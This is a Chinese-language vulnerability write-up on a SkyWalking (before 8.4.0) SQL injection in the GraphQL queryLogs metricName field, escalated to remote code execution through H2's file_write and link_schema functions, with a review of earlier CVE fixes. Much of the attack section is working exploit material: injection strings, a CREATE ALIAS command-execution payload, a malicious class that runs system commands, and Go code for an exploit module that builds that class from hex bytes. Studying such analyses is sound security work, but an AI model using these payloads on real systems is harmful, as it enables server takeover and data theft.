作者:kejaly@白帽匯安全研究院
校對:r4v3zn@白帽匯安全研究院
前言
Apache Skywalking 是分布式系統的應用程序性能監視工具,特別是為微服務,云原生和基于容器(Docker,Kubernetes,Mesos)的體系結構而設計的。
近日,Apache Skywalking 官方發布安全更新,修復了 Apache Skywalking 遠程代碼執行漏洞。
Skywalking 歷史上存在兩次SQL注入漏洞,CVE-2020-9483、CVE-2020-13921。此次漏洞(Skywalking小于v8.4.0)是由于之前兩次SQL注入漏洞修復并不完善,仍存在一處SQL注入漏洞。結合 h2 數據庫(默認的數據庫),可以導致 RCE 。
環境搭建
idea調式環境搭建:
https://github.com/apache/skywalking/blob/master/docs/en/guides/How-to-build.md#build-from-github
下載地址skywalking v8.3.0版本:
https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz
然后按照官方的直接使用:
./mvnw compile -Dmaven.test.skip=true

然后在 OAPServerStartUp.java main() 函數運行啟動 OAPServer,skywalking-ui 目錄運行 npm run serve 啟動前臺服務,訪問 http://localhost:8081,就搭建起了整個環境。

但是在 RCE 的時候,用 idea 來啟動項目 classpath 會有坑(因為 idea 會自動修改 classpath,導致一直 RCE 不成功),所以最后在 RCE 的時候使用官網提供的 distribution 中的 starup.bat 來啟動。
下載地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
準備知識
GraphQL基礎
exp 需要通過 GraphQL語句來構造,所以需要掌握 GraphQL 的基本知識
springboot 和 GraphQL 的整合 可以查看下面這個系列的四篇文章:
GraphQL的探索之路 – 一種為你的API而生的查詢語言篇一
GraphQL的探索之路 – SpringBoot集成GraphQL篇二
GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三
GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四
簡單言之就是在 .graphqls 文件中定義服務,然后編寫實現 GraphQLQueryResolver 的類里面定義服務名相同的方法,這樣 GraphQL 的服務就和 具體的 java 方法對應起來了。
比如 這次漏洞 涉及的 queryLogs 服務:
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\log.graphqls:

oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java :

skywalking中graphql對應關系
skywalking 中 GraphQL 涉及到的 service 層 ,Resolver , graphqls ,以及 Dao 的位置如下, 以 alarm.graphqls 為例:
Service 層:
oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\AlarmQueryService.java
實現 Resolver 接口層:
oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\AlarmQuery.java
對應的 graphqls 文件:
oap-server\server-query-plugin\query-graphql-plugin\src\main\resouRCEs\query-protocol\alarm.graphqls
對應的 DAO :
oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2AlarmQueryDAO.java
漏洞分析
SQL注入漏洞點
根據 github 對應的 Pull : https://github.com/apache/skywalking/pull/6246/files定位到漏洞點
漏洞點在oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java 中的64 行,直接把 metricName append 到了 sql 中:

我們向上找調用 queryLogs 的地方,來到 oap-server\server-core\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java 中的queryLogs 方法:

再向上找調用 LogQueryService 中的 queryLogs 的地方,會跳到 oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java 中的 queryLogs 方法:

方法所在的類正好實現了 GraphQLQueryResolver 接口,而且我們可以看到傳入 getQueryService().queryLogs 方法的第一個參數(也就是之后的metricName) 是直接通過 condition.getMetricName() 來賦值的。
我們接著回到 H2LogQueryDAO.java 中:

buildCountStatement :

計算 buildCountStatment(sql.toString()) :

這里我們傳入惡意 metricName 為 INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --
成功報錯帶出結果:

RCE
說起 h2 sql 注入導致 RCE , 大家第一反應肯定是利用堆疊注入來定義函數別名來執行 java 代碼,比如這樣構造exp:
"metricName": "INFORMATION_SCHEMA.USERS union select 1))a where 1=? or 1=? or 1=? ;CREATE ALIAS SHELLEXEC4 AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter('\\\\A'); if(s.hasNext()){return s.next();}else{return '';} }$$;CALL SHELLEXEC4('id');--
但是這里不能執行多條語句,因為要執行 create 語句的話就需要使用分號閉合掉前面的 select 語句,而我們可以看到執行sql 語句的h2Clinet.executeQuery() 底層使用的 prepareStatement(sql) ,prepareStatementer只能編譯一條語句,要編譯多條語句則需要使用 addBatch 和 executeBatch 。

根據公開文檔 https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw ,h2 可以通過 file_write 寫文件 , link_schema 底層使用了類加載。
file_write

file_write:
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('6162','evilClass'))a where 1=? or 1=? or 1=? --",
link_schema
link_schema 函數底層存在一處類加載機制:



loadUserClass 底層使用的是 Class.forName() 去加載:

而這個 driver class 正好是 link_schema 的第二個參數。
link_schema:
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','evilClass','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --"
結合
那么我們就可以根據 file_write 來寫一個惡意的 class 到服務器,把要執行的 java 代碼寫到 類的 static 塊中,然后 linke_schema 去加載這個類,這樣就可以執行任意的 java 代碼了。
這里寫惡意類的時候有個小技巧,可以先在本地安裝 h2 ,然后利用 h2 來 file_read 讀惡意類,file_read 出來的結果正好就是十六進制形式,所以就可以直接把結果作為 file_write() 的第一個參數

坑
classpath
不得不提 idea 執行 debug 運行的坑,這個坑折騰了好久。使用 idea debug 運行的時候,idea 會修改 classpath https://blog.csdn.net/romantic_jie/article/details/107859901 ,
然后就導致調用 link_schema 的時候總是提示 class not found 的報錯。
所以最后選擇不使用 idea debug 運行,使用官網提供的 distribution 中的 starup.bat 來運行。
下載地址: https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
雙親委派機制
另外由于雙親委派機制,導致加載一次惡意類之后,再去使用 link_schema 加載的時候無法加載。所以在實際使用的時候,需要再上傳一個其他名字的惡意類來加載。
JDK 版本問題
由于 JVM 兼容性問題,使用低版本 JDK 啟動 skywalking ,如果惡意類使用的編譯環境比目標環境使用的 JDK 版本高的話,在類加載的時候會報 General error 錯誤。

考慮到現在市面上 JDK 版本基本都在 JDK 6 以及以上版本,所以為了使我們的惡意類都能加載,我們在生成惡意類的時候,最好使用 JDK 6 去生成。
javac evil.java -target 1.6 -source 1.6
回顯RCE
既然可以執行任意 java 代碼,其實就可以反彈 shell 了,但是考慮到有些時候機器沒法出網,所以需要想辦法實現回顯 RCE 。
因為得到 h2 version 是通過報錯來回顯的,所以第一個想法就是惡意類中把執行的結果作為異常來拋出,這樣就能達到回顯的效果,但是 loadClass 的時候只會執行 static 塊中的代碼,而 static 塊中又無法向上拋出異常,所以這個思路行不通。
后來想了想,想到可以結合 file_read() 的方法來間接實現回顯 RCE 。也就是說把執行的結果寫到 output.txt 中,然后通過 file_read("output.txt",null) 去讀取結果
惡意類 static 塊如下:
static {
try {
String cmd = "whoami";
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
InputStreamReader i = new InputStreamReader(in,"GBK");
BufferedReader re = new BufferedReader(i);
StringBuilder sb = new StringBuilder(1024);
String line = null;
while((line = re.readLine()) != null) {
sb.append(line);
}
BufferedWriter out = new BufferedWriter(new FileWriter("output.txt"));
out.write(String.valueOf(sb));
out.close();
} catch (IOException var7) {
}
}
file_read :
"metricName": "INFORMATION_SCHEMA.USERS union all select file_read('output.txt',null))a where 1=? or 1=? or 1=? --"
動態字節碼
前面提到過,由于類加載機制,需要每次都上傳一個惡意新的惡意 class 文件,但是其實兩個 class 文件差異并不大,只是執行的命令 ,以及 class 文件名不同而已,所以可以編寫兩個惡意類,利用 beyond compare 等對比工具比較兩個 class 文件的差異,找到差異的地方。

那么我們在整合到 goby 的時候,思路就是每執行一條命令的時候,隨機生成5位文件名,然后用戶根據 要執行的命令來動態修改部分文件名。
classHex := "cafebabe00000034006b07000201000a636c617373"
cmd := "whoami"
if ss.Params["cmd"] != nil{
cmd = ss.Params["cmd"].(string)
}
// 生成隨機文件名后綴 , 比如 class01234 , class12345
rand.Seed(time.Now().UnixNano())
// 隨機文件名后綴名 以及 對應的十六進制
fileNameSuffix := goutils.RandomHexString(5) //goby 中封裝的生成隨機hex的函數
hexFileNameSuffixString := hex.EncodeToString([]byte(fileNameSuffix))
filename := "class"+fileNameSuffix
classHex += hexFileNameSuffixString
classHex += "0700040100106a6176612f6c616e672f4f626a6563740100083C636C696E69743E010003282956010004436F64650800090100"
cmdLen := fmt.Sprintf("%02x",len(cmd))
classHex += cmdLen
cmdHex := hex.EncodeToString([]byte(cmd))
classHex += cmdHex
classHex += "0a000b000d07000c0100116a6176612f6c616e672f52756e74696d650c000e000f01000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b0a000b00110c0012001301000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0a001500170700160100116a6176612f6c616e672f50726f636573730c0018001901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b07001b0100196a6176612f696f2f496e70757453747265616d52656164657208001d01000347424b0a001a001f0c002000210100063c696e69743e01002a284c6a6176612f696f2f496e70757453747265616d3b4c6a6176612f6c616e672f537472696e673b29560700230100166a6176612f696f2f42756666657265645265616465720a002200250c00200026010013284c6a6176612f696f2f5265616465723b29560700280100176a6176612f6c616e672f537472696e674275696c6465720a0027002a0c0020002b010004284929560a0027002d0c002e002f010006617070656e6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f537472696e674275696c6465723b0a002200310c00320033010008726561644c696e6501001428294c6a6176612f6c616e672f537472696e673b0700350100166a6176612f696f2f42756666657265645772697465720700370100126a6176612f696f2f46696c6557726974657208003901000a6f75747075742e7478740a0036003b0c0020003c010015284c6a6176612f6c616e672f537472696e673b29560a0034003e0c0020003f010013284c6a6176612f696f2f5772697465723b29560a004100430700420100106a6176612f6c616e672f537472696e670c0044004501000776616c75654f66010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f537472696e673b0a003400470c0048003c01000577726974650a0034004a0c004b0006010005636c6f736507004d0100136a6176612f696f2f494f457863657074696f6e01000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010003636d640100124c6a6176612f6c616e672f537472696e673b010002696e0100154c6a6176612f696f2f496e70757453747265616d3b0100016901001b4c6a6176612f696f2f496e70757453747265616d5265616465723b01000272650100184c6a6176612f696f2f42756666657265645265616465723b01000273620100194c6a6176612f6c616e672f537472696e674275696c6465723b0100046c696e650100036f75740100184c6a6176612f696f2f42756666657265645772697465723b01000d537461636b4d61705461626c6507005f0100136a6176612f696f2f496e70757453747265616d01000a457863657074696f6e730a000300620c002000060100047468697301000c4c636c617373"
classHex += hexFileNameSuffixString
classHex += "3b0100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b2956010004617267730100135b4c6a6176612f6c616e672f537472696e673b01000a536f7572636546696c6501000f636c617373"
classHex += hexFileNameSuffixString
classHex += "2e6a617661002100010003000000000003000800050006000100070000013b000500070000006c12084bb8000a2ab60010b600144cbb001a592b121cb7001e4dbb0022592cb700244ebb002759110400b700293a04013a05a7000b19041905b6002c572db60030593a05c7fff1bb003459bb0036591238b7003ab7003d3a0619061904b80040b600461906b60049a7000457b1000100000067006a004c0003004e0000003a000e0000000f00030010000e00110019001200220013002e00140031001500340016003c001500460018005800190062001a0067001b006b001e004f00000048000700030064005000510000000e00590052005300010019004e00540055000200220045005600570003002e003900580059000400310036005a005100050058000f005b005c0006005d000000270004ff0034000607004107005e07001a070022070027070041000007ff002d0000000107004c0000000020000600020060000000040001004c00070000003300010001000000052ab70061b100000002004e0000000a00020000000400040005004f0000000c00010000000500630064000000090065006600020060000000040001004c00070000002b0000000100000001b100000002004e0000000600010000000a004f0000000c0001000000010067006800000001006900000002006a"
歷史SQL注入
skywalking 歷史 sql 注入漏洞有兩個,分別是 CVE-2020-9483 和 CVE-2020-13921 ,之前也提到此次漏洞是由于之前兩次 sql 注入漏洞修復并不完善,仍存在一處 sql 注入漏洞。我們不妨也來看看這兩個漏洞。
其實原因都是在執行 sql 語句的時候直接對用戶可控的參數進行了拼接。
而這里說的可控,就是通過 GraphQL 語句來傳入的參數。
CVE-2020-9483 [id 注入]
更改了一個文件,oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetricsQueryDAO.java 文件 https://github.com/apache/skywalking/pull/4639/files

把查詢條件中的 id 換成使用預編譯的方式來查詢。
CVE-2020-13921 [多處注入]
原因是 參數直接拼接到 sql 執行語句中 https://github.com/apache/skywalking/issues/4955

有人提出 還有其他點存在直接拼接的問題。
作者修復方案如下,都是把直接拼接的換成了使用占位符預編譯的方式:

另外作者也按照了上面的提議修改了其他三個文件,也是使用這樣的方法。都是采用占位符來查詢。
修復的文件:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AlarmQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2MetadataQueryDAO.java [新增]
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TraceQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/mysql/MySQLAlarmQueryDAO.java
但是上面的 issue 中還提到了:
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2AggregationQueryDAO.java
oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2TopNRecordsQueryDAO.java
作者對這三個沒有修復。而這次的主角就是 h2LogQueryDao.java 中

存在的 sql 注入,而且出問題的就是上面提到的那個地方 metricName 。
對于這次的 sql 注入,作者最后的修復方案是 直接刪除這個metricName 字段

oap-server/server-storage-plugin/storage-jdbc-hikaricp-plugin/src/main/java/org/apache/skywalking/oap/server/storage/plugin/jdbc/h2/dao/H2LogQueryDAO.java
另外由于刪除字段,所以導致了有12處文件都修改了。
這也正是Skywalking遠程代碼執行漏洞預警中提到的未修復完善地方。

思考
這三次 sql 注入的原因都是因為在執行 sql 語句的時候直接對用戶可控的參數進行了拼接,于是嘗試通過查看 Dao 中其他的文件找是不是還存在其他直接拼接的地方。


翻了翻,發現基本都用了占位符預編譯。
一開始發現一些直接拼接 metrics 的地方,但是并不存在注入,比如 H2AggregationQueryDAO 中的 sortMetrics :

向上找到 sortMetics :

繼續向上找:

對應的 aggregation.graphqls :

發現雖然有些是拼接了,但是

會進行判斷,如果 condition.getName 是 UNKNOWN 的話就會直接返回。
參考
[CVE-2020-9483/13921]Apache SkyWalking SQL注入
Apache SkyWalking SQL注入漏洞復現分析 (CVE-2020-9483)
根據配置CLASSPATH徹底弄懂AppCLassLoader的加載路徑問題
SkyWalking How to build project
GraphQL的探索之路 – 一種為你的API而生的查詢語言篇一
GraphQL的探索之路 – SpringBoot集成GraphQL篇二
GraphQL的探索之路 – SpringBoot集成GraphQL之Query篇三
GraphQL的探索之路 – SpringBoot集成GraphQL之Mutation篇四
SkyWalking [CVE] Fix SQL Injection vulnerability in H2/MySQL implementation. #4639
SkyWalking ALARM_MESSAGE Sql Inject #4955
SkyWalking LogQuery remove unused field #6246
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1485/
暫無評論